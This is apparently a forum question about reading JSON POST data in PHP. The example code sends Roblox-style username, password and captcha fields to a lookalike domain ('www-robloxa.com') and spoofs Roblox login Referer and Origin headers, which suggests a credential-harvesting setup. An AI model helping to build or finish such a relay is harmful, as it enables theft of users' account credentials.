So, I want to get key value of JSON Data (From POSTFIELD) Here My Curl Post To Test
<?php
$u = "asd";
$p = "asd";
$tokens = "asd";
$fields_string = '{ "cvalue":"' . $u . '", "ctype":"username", "password":"' . $p . '", "captchaToken":"' . $tokens . '", "captchaId":"", "captchaProvider":"PROVIDER_ARKOSE_LABS" }';
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'https://www-robloxa.com/dd.php');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $fields_string);
$headers = array();
$headers[] = 'Content-Type: application/json';
$headers[] = 'Accept: application/json';
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36';
$headers[] = 'Referer: https://www.roblox.com/login';
$headers[] = 'Origin: https://www.roblox.com';
curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers);
$output = curl_exec($ch2);
echo $output;
?>
and here my php api, when i am trying to get the value of the json
<?php
header('Access-Control-Allow-Origin: *');
echo $_POST['cvalue']
?>